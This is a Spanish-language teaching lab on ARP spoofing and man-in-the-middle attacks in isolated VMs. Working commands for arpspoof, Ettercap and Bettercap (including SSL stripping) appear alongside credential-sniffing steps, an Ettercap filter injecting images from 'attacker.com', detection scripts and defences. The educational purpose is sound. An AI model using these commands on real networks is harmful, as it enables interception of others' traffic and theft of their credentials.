Lab 5.3: ARP Spoofing y Man-in-the-Middle
Objetivos de Aprendizaje
Al final de este laboratorio, usted será capaz de:
- Comprender el protocolo ARP y sus vulnerabilidades
- Realizar un ataque de ARP spoofing entre dos máquinas
- Posicionarse como Man-in-the-Middle en una red
- Interceptar y analizar el tráfico de red en tiempo real
- Capturar credenciales transmitidas en texto claro
- Detectar un ataque de ARP spoofing activo
- Implementar protecciones contra ARP spoofing
- Comprender la importancia del cifrado
Duración Estimada
40 minutos
Prerrequisitos
- 3 VMs: Atacante (Kali), Víctima (Windows), Router/Gateway (Windows o Linux)
- Red interna VirtualBox
- Wireshark instalado
- Comprensión del modelo OSI y TCP/IP
- Labs 5.1 y 5.2 completados
Contexto Profesional
Los ataques Man-in-the-Middle (MitM) mediante ARP spoofing permiten a un atacante en la misma red local:
- Interceptar todas las comunicaciones
- Robar credenciales (HTTP, FTP, Telnet)
- Modificar el tráfico en tránsito
- Redirigir a sitios maliciosos
- Realizar phishing dirigido
Utilizado en:
- Pruebas de penetración interna
- Demostraciones de seguridad
- Ataques en redes WiFi públicas
- Espionaje industrial
- Robo de sesiones
ADVERTENCIA ÉTICA Y LEGAL - CRÍTICA
ESTE LABORATORIO ENSEÑA UN ATAQUE ACTIVO EN RED
El ARP spoofing es un ataque que intercepta las comunicaciones de terceros.
SOLO AUTORIZADO:
- En su red de laboratorio aislada (VMs)
- En sistemas de prueba de su propiedad
- En el marco de pruebas autorizadas por contrato escrito
- Con consentimiento explícito de todas las partes
ESTRICTAMENTE PROHIBIDO E ILEGAL:
- En redes WiFi públicas (cafés, aeropuertos, bibliotecas)
- En redes empresariales sin autorización
- Para interceptar comunicaciones de terceros
- Para robo de credenciales o espionaje
CONSECUENCIAS EXTREMADAMENTE GRAVES:
- Interceptar comunicaciones = Delito grave (Código Penal art. 184)
- Comparable a escuchas electrónicas
- Prisión hasta 5 años
- Multas elevadas
- Antecedentes penales permanentes
CONFIGURACIÓN OBLIGATORIA:
- Red de VMs en modo INTERNO únicamente
- Sin acceso a Internet
- Entorno completamente aislado
Parte 1: Comprender ARP y sus Vulnerabilidades
Paso 1.1: Protocolo ARP (Address Resolution Protocol)
Rol: Convertir dirección IP en dirección MAC
Ejemplo:
PC quiere comunicarse con 192.168.100.20
PC solo conoce la IP, no la dirección MAC
PC hace broadcast: "¿Quién tiene la IP 192.168.100.20?"
192.168.100.20 responde: "¡Soy yo! Mi MAC es AA:BB:CC:DD:EE:FF"
PC ahora puede enviar paquetes Ethernet
Tabla ARP:
arp -a
Resultado:
Interface: 192.168.100.10
Internet Address Physical Address Type
192.168.100.1 00-11-22-33-44-55 dynamic
192.168.100.20 AA-BB-CC-DD-EE-FF dynamic
Problema: ¡ARP NO tiene autenticación!
- Cualquiera puede responder
- No hay verificación de identidad
- Confianza ciega
Paso 1.2: Vulnerabilidad de ARP
Ataque ARP Spoofing (ARP Poisoning):
- El atacante envía respuestas ARP falsas
- La víctima cree que la IP del router = MAC del atacante
- El router cree que la IP de la víctima = MAC del atacante
- ¡Todo el tráfico pasa por el atacante!
Esquema:
ANTES:
Víctima (192.168.100.20) <---> Router (192.168.100.1)
DESPUÉS DE ARP Spoofing:
Víctima (192.168.100.20) <---> Atacante (192.168.100.10) <---> Router (192.168.100.1)
↑
¡Man-in-the-Middle!
Preguntas:
- ¿Por qué ARP es vulnerable por diseño?
- ¿En qué tipo de red funciona este ataque? (Local/Internet)
Parte 2: Configuración del Laboratorio
Paso 2.1: Arquitectura del Laboratorio
Se requieren 3 VMs:
VM1 - Atacante (Kali Linux):
IP: 192.168.100.10
MAC: [Anótela]
Rol: Realizar el ARP spoofing
VM2 - Víctima (Windows):
IP: 192.168.100.20
MAC: [Anótela]
Rol: Objetivo del ataque
VM3 - Gateway/Router (Windows o Linux):
IP: 192.168.100.1
MAC: [Anótela]
Rol: Puerta de enlace de red (simulada)
Red: Internal Network "MitmLab"
En cada VM, verifique:
# Linux
ip addr
ip route
# Windows
ipconfig
route print
Paso 2.2: Anotar las Direcciones MAC
En cada VM:
Linux:
ip addr show
# Busque "link/ether"
Windows:
ipconfig /all
# Busque "Dirección física"
Anote:
VM1 (Atacante): IP: 192.168.100.10 MAC: 08:00:27:XX:XX:XX
VM2 (Víctima): IP: 192.168.100.20 MAC: 08:00:27:YY:YY:YY
VM3 (Gateway): IP: 192.168.100.1 MAC: 08:00:27:ZZ:ZZ:ZZ
Paso 2.3: Verificar la Conectividad Inicial
En VM2 (Víctima), verifique la tabla ARP:
arp -a
Debería ver:
192.168.100.1 00-11-22-33-44-55 (MAC del gateway real)
192.168.100.10 08-00-27-XX-XX-XX (MAC del atacante)
Haga ping al gateway:
ping 192.168.100.1
Funciona normalmente.
Preguntas: 3. ¿Cuál es la dirección MAC actual del gateway en la tabla ARP de la víctima? 4. ¿Cuántas entradas ARP hay presentes?
Parte 3: Ataque ARP Spoofing
Paso 3.1: Activación del Forwarding IP
En VM1 (Atacante), ANTES de lanzar el ataque:
Linux:
echo 1 > /proc/sys/net/ipv4/ip_forward
O
sysctl -w net.ipv4.ip_forward=1
Verificación:
cat /proc/sys/net/ipv4/ip_forward
Debe mostrar: 1
IMPORTANTE: Sin IP forwarding, el tráfico se bloquea (DoS en vez de MitM)!
Paso 3.2: Lanzamiento del Ataque con arpspoof
arpspoof (herramienta clásica):
Terminal 1 - Envenenar a la Víctima:
sudo arpspoof -i eth0 -t 192.168.100.20 192.168.100.1
Comando:
-i eth0- Interfaz de red-t 192.168.100.20- Objetivo (víctima)192.168.100.1- IP a suplantar (gateway)
Resultado:
8:0:27:xx:xx:xx 8:0:27:yy:yy:yy 0806 42: arp reply 192.168.100.1 is-at 8:0:27:xx:xx:xx
Repite continuamente: "¡El gateway (192.168.100.1) tiene MI dirección MAC!"
Terminal 2 - Envenenar el Gateway:
sudo arpspoof -i eth0 -t 192.168.100.1 192.168.100.20
Le dice al gateway: "¡La víctima (192.168.100.20) tiene MI dirección MAC!"
AHORA: ¡Ataque MitM activo!
Paso 3.3: Verificación del Ataque
En VM2 (Víctima), verifique la tabla ARP:
arp -a
ANTES del ataque:
192.168.100.1 00-11-22-33-44-55 (MAC del gateway real)
DESPUÉS del ataque:
192.168.100.1 08-00-27-XX-XX-XX (¡MAC del ATACANTE!)
¡La tabla ARP ha sido envenenada!
¡La víctima cree que el gateway = atacante!
Pruebe:
ping 192.168.100.1
El ping funciona (gracias al IP forwarding), pero pasa por el atacante.
Preguntas: 5. ¿Ha cambiado la dirección MAC del gateway en la tabla ARP de la víctima? 6. ¿El tráfico pasa ahora por el atacante?
Parte 4: Intercepción de Tráfico
Paso 4.1: Captura con Wireshark
En VM1 (Atacante), inicie Wireshark:
sudo wireshark &
- Seleccione la interfaz de red (eth0)
- Inicie la captura
- ¡TODO el tráfico de la víctima es capturado!
En VM2 (Víctima), genere tráfico:
ping google.com
En Wireshark (VM1):
- Filtre:
icmp - ¡Usted ve los pings de la VÍCTIMA!
¡Está interceptando el tráfico de otra máquina!
Paso 4.2: Captura de Credenciales HTTP
En VM2 (Víctima), visite un sitio HTTP (no HTTPS):
Sitios de prueba legales:
En VM1 (Wireshark), filtre:
http
Usted ve:
- Todas las peticiones HTTP
- Headers completos
- User-Agent
- Cookies
- Credenciales en texto claro si hay login
Follow HTTP Stream:
- Clic derecho en paquete HTTP
- Follow → HTTP Stream
- ¡Conversación completa visible!
Si el sitio tiene login HTTP:
POST /login HTTP/1.1
Host: example.com
username=admin&password=SecretPassword123
¡Contraseña CAPTURADA en texto claro!
Paso 4.3: Diferencia HTTP vs HTTPS
En VM2, visite ahora:
https://google.com
En Wireshark:
- Filtre:
tlsossl - Usted ve la conexión cifrada
- ¡Imposible ver el contenido!
Datos cifrados:
Content Type: Application Data
Encrypted Application Data: <datos ilegibles>
Comparación:
- HTTP: TODO visible (URL, headers, contraseñas, contenido)
- HTTPS: Solo IP de destino visible, contenido cifrado
Preguntas: 7. ¿Logró capturar tráfico HTTP de la víctima? 8. ¿Puede ver el contenido de las peticiones HTTPS?
Parte 5: Herramientas Avanzadas de MitM
Paso 5.1: Ettercap (Completo y Gráfico)
Ettercap: Herramienta MitM con GUI y funcionalidades avanzadas
Lanzamiento:
sudo ettercap -G
Configuración:
- Sniff → Unified sniffing
- Seleccione la interfaz (eth0)
- Hosts → Scan for hosts
- Hosts → Hosts list
- Seleccione Víctima → Add to Target 1
- Seleccione Gateway → Add to Target 2
- MitM → ARP poisoning
- Marque "Sniff remote connections"
- Start → Start sniffing
¡BOOM! Ataque MitM activo con GUI!
Funcionalidades:
- Detección automática de hosts
- ARP poisoning con un clic
- Captura automática de contraseñas
- Filtros para modificar el tráfico
- Logs detallados
Paso 5.2: Filtros Ettercap (Modificación de Tráfico)
¡Ettercap puede MODIFICAR el tráfico en tránsito!
Ejemplo de filtro: Reemplazar imágenes por otras imágenes
Cree replace.filter:
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("img src=", "img src=\"http://attacker.com/fake.jpg\" alt=\"");
}
Compilación:
etterfilter replace.filter -o replace.ef
Uso en Ettercap:
Filters → Load a filter → replace.ef
Resultado: ¡Todas las imágenes en sitios HTTP son reemplazadas!
Paso 5.3: Bettercap (Moderno)
Herramienta moderna y potente:
sudo bettercap -iface eth0
Comandos interactivos:
# Descubrimiento de red
net.probe on
net.show
# ARP spoofing
set arp.spoof.targets 192.168.100.20
arp.spoof on
# Captura de credenciales
set net.sniff.verbose true
net.sniff on
# HTTP(S) stripping
set http.proxy.sslstrip true
http.proxy on
Interfaz web:
sudo bettercap -iface eth0 -caplet http-ui
Acceso: http://127.0.0.1:80 (¡interfaz web completa!)
Preguntas: 9. ¿Qué herramienta prefiere (arpspoof, ettercap, bettercap)? 10. ¿Bettercap puede degradar HTTPS a HTTP?
Parte 6: Detección de ARP Spoofing
Paso 6.1: Detección Manual
En una máquina, monitoree la tabla ARP:
PowerShell:
while ($true) {
Clear-Host
Write-Host "=== ARP TABLE MONITORING ===" -ForegroundColor Cyan
arp -a
Start-Sleep -Seconds 2
}
Observación:
- Si una IP cambia de MAC frecuentemente: ¡SOSPECHOSO!
- Si dos IPs tienen la misma MAC: ¡ARP SPOOFING!
Ejemplo de anomalía:
192.168.100.1 08-00-27-AA-AA-AA
192.168.100.10 08-00-27-AA-AA-AA <- MISMA MAC = ¡ATAQUE!
Paso 6.2: Detección con Herramientas
arpwatch (Linux):
sudo apt install arpwatch
sudo arpwatch -i eth0
Logs en: /var/log/arpwatch.log
Alerta sobre:
- Nuevos hosts
- Cambios de MAC
- Flip-flop (la MAC cambia y luego vuelve)
XArp (Windows):
- Herramienta GUI para monitoreo ARP
- Alertas en tiempo real
- Gratuito
Script PowerShell de detección:
$baseline = @{}
arp -a | ForEach-Object {
if ($_ -match '(\d+\.\d+\.\d+\.\d+)\s+([\w-]+)') {
$baseline[$matches[1]] = $matches[2]
}
}
while ($true) {
Start-Sleep -Seconds 5
$current = @{}
arp -a | ForEach-Object {
if ($_ -match '(\d+\.\d+\.\d+\.\d+)\s+([\w-]+)') {
$current[$matches[1]] = $matches[2]
}
}
# Comparar
foreach ($ip in $baseline.Keys) {
if ($current[$ip] -and $current[$ip] -ne $baseline[$ip]) {
Write-Host "ALERT: IP $ip MAC changed!" -ForegroundColor Red
Write-Host " Was: $($baseline[$ip])"
Write-Host " Now: $($current[$ip])"
}
}
$baseline = $current.Clone()
}
Paso 6.3: Detección en Red
Con Nmap:
nmap --script=arp-scan 192.168.100.0/24
Detecta:
- Duplicaciones de direcciones MAC
- Respuestas ARP sospechosas
Preguntas: 11. ¿Su script de detección alerta durante el ataque? 12. ¿Cuánto tiempo tarda en detectar el ataque?
Parte 7: Defensas contra ARP Spoofing
Paso 7.1: ARP Estático
Definir entradas ARP estáticas (no modificables):
arp -s 192.168.100.1 00-11-22-33-44-55
Verificación:
arp -a
Tipo: static en vez de dynamic
Ventaja: ¡Inmune a ARP spoofing!
Desventaja: Configuración manual, mantenimiento difícil
Paso 7.2: Port Security (Switch)
En un switch gestionado:
Configurar port security para:
- Limitar el número de MACs por puerto
- Asociar MAC a puerto específico
- Apagar el puerto si hay violación
Ejemplo de configuración Cisco:
interface FastEthernet0/1
switchport mode access
switchport port-security
switchport port-security maximum 1
switchport port-security violation shutdown
switchport port-security mac-address sticky
Resultado: Solo una MAC permitida por puerto, cambio = shutdown.
Paso 7.3: Soluciones de Software
Windows:
- XArp (monitoreo y alertas)
- ArpON (daemon de protección)
Linux:
- arpwatch (monitoreo)
- ArpON (protección activa)
Firewall:
- Reglas para bloquear tráfico anómalo
- Inspección ARP
Segmentación:
- VLANs para aislar zonas sensibles
- Limitar el alcance de los ataques MitM
Preguntas: 13. ¿Qué método de protección es el más eficaz? 14. ¿Es realista configurar ARP estático en una red grande?
Parte 8: Escenarios Reales
Paso 8.1: Ataque en WiFi Público
Escenario típico:
- Café con WiFi público
- El atacante se conecta a la misma red
- Lanza ARP spoofing
- Intercepta TODO el tráfico de los clientes
- Captura credenciales, cookies, datos
Datos capturados:
- Logins en sitios HTTP
- Cookies de sesión
- Emails (si POP3/IMAP no cifrado)
- Credenciales FTP
- Búsquedas web
Protección del usuario:
- VPN en WiFi público (¡OBLIGATORIO!)
- Solo HTTPS
- No hacer banca/email en WiFi público
Paso 8.2: Red Empresarial
Atacante interno o mediante phishing:
- Compromiso inicial de un equipo
- ARP spoofing en el segmento de red
- Intercepción de tráfico
- Captura de credenciales de dominio
- Movimiento lateral con credenciales robadas
- Compromiso total de la red
Tiempo: ¡Puede tomar solo unas horas!
Paso 8.3: Ataque Combinado
ARP Spoofing + DNS Spoofing:
- MitM activo mediante ARP
- Modificar respuestas DNS
- Redirigir a sitios falsos (phishing)
- Robo de credenciales incluso en HTTPS (con certificado autofirmado + advertencia ignorada)
Con Ettercap:
- DNS spoofing integrado
- Modificación de tráfico
- SSL stripping (degradar HTTPS → HTTP)
Preguntas: 15. ¿Por qué las redes WiFi públicas son particularmente peligrosas? 16. ¿Cómo protege un VPN contra ARP spoofing?
Entregables
A entregar:
-
Informe de ataque MitM (Word/PDF, 4-5 páginas):
- Respuestas a las 16 preguntas
- Descripción completa de la arquitectura del laboratorio
- Metodología del ataque paso a paso
- Análisis del tráfico capturado
- Tiempo requerido para el ataque
-
Capturas de pantalla (mínimo 8):
- Tabla ARP ANTES del ataque (víctima)
- Tabla ARP DESPUÉS del ataque (víctima modificada)
- arpspoof en acción (terminal)
- Wireshark capturando tráfico de la víctima
- HTTP stream con credenciales visibles
- HTTPS stream (cifrado)
- Interfaz de Ettercap
- Script de detección alertando
-
Archivos de captura:
- Wireshark .pcapng con tráfico interceptado
- Logs de ettercap o bettercap
-
Documentación de defensa (2 páginas):
- Medidas de detección recomendadas
- Soluciones de protección por capa (red, host, aplicación)
- Política de seguridad WiFi
Criterios de Evaluación
| Criterio | Puntos |
|---|---|
| Ataque ARP spoofing exitoso | 30% |
| Intercepción y análisis de tráfico | 25% |
| Detección de ataque activo | 20% |
| Comprensión de las defensas | 15% |
| Calidad de la documentación y capturas | 10% |
Comandos de Referencia Rápida
Preparación
echo 1 > /proc/sys/net/ipv4/ip_forward
sysctl -w net.ipv4.ip_forward=1
ARP Spoofing
# arpspoof
sudo arpspoof -i eth0 -t VICTIMA GATEWAY
sudo arpspoof -i eth0 -t GATEWAY VICTIMA
# ettercap
sudo ettercap -T -M arp:remote /VICTIMA// /GATEWAY//
sudo ettercap -G # GUI
# bettercap
sudo bettercap -iface eth0
> set arp.spoof.targets VICTIMA
> arp.spoof on
Detección
arp -a # Verificar tabla ARP
arpwatch -i eth0 # Monitoreo
nmap --script arp-scan NETWORK
Limpieza
# Detener arpspoof: Ctrl+C
# En víctima, vaciar caché ARP:
arp -d # Windows
sudo ip -s -s neigh flush all # Linux
Solución de Problemas
Problema: La víctima pierde conectividad durante el ataque
Solución: IP forwarding no está activado en el atacante. Verifique:
cat /proc/sys/net/ipv4/ip_forward
Debe ser 1.
Problema: No se captura ningún tráfico
Soluciones:
- Verifique que ambos arpspoof estén en ejecución (víctima Y gateway)
- Verifique que Wireshark escuche en la interfaz correcta
- Genere tráfico desde la víctima
Problema: La tabla ARP no cambia
Solución:
- ¿arpspoof realmente está corriendo? Verifique la salida
- El firewall puede bloquear ARP
- Algunos switches tienen protección ARP (Port Security)
Conclusión
Este laboratorio le ha enseñado:
- Protocolo ARP y sus vulnerabilidades fundamentales
- Realización de ataque Man-in-the-Middle mediante ARP spoofing
- Intercepción de tráfico de red en tiempo real
- Captura de credenciales transmitidas en texto claro
- Detección de ataques ARP activos
- Medidas de protección multicapa
Lecciones clave:
- ARP no tiene seguridad por diseño (confianza ciega)
- Un atacante en red local puede interceptar TODO el tráfico no cifrado
- HTTP es completamente vulnerable a MitM
- HTTPS protege contra la interceptación (importancia del cifrado)
- WiFi público = Peligro extremo sin VPN
- Detección posible pero protección compleja
Conciencia:
- Nunca más usar HTTP para datos sensibles
- VPN obligatorio en WiFi público
- Cifrado = Única protección real
- Red local ≠ Red segura
Síntesis MÓDULO 5:
Ahora domina el reconocimiento de red completo:
- Lab 5.1: Nmap (cartografía de red, detección de vulnerabilidades)
- Lab 5.2: Enumeración DNS (descubrimiento de infraestructura)
- Lab 5.3: ARP spoofing (intercepción activa)
¡Combinadas, estas técnicas permiten un reconocimiento y compromiso de red completo!
Laboratorio desarrollado en el marco del curso Sistemas Operativos - MÓDULO 5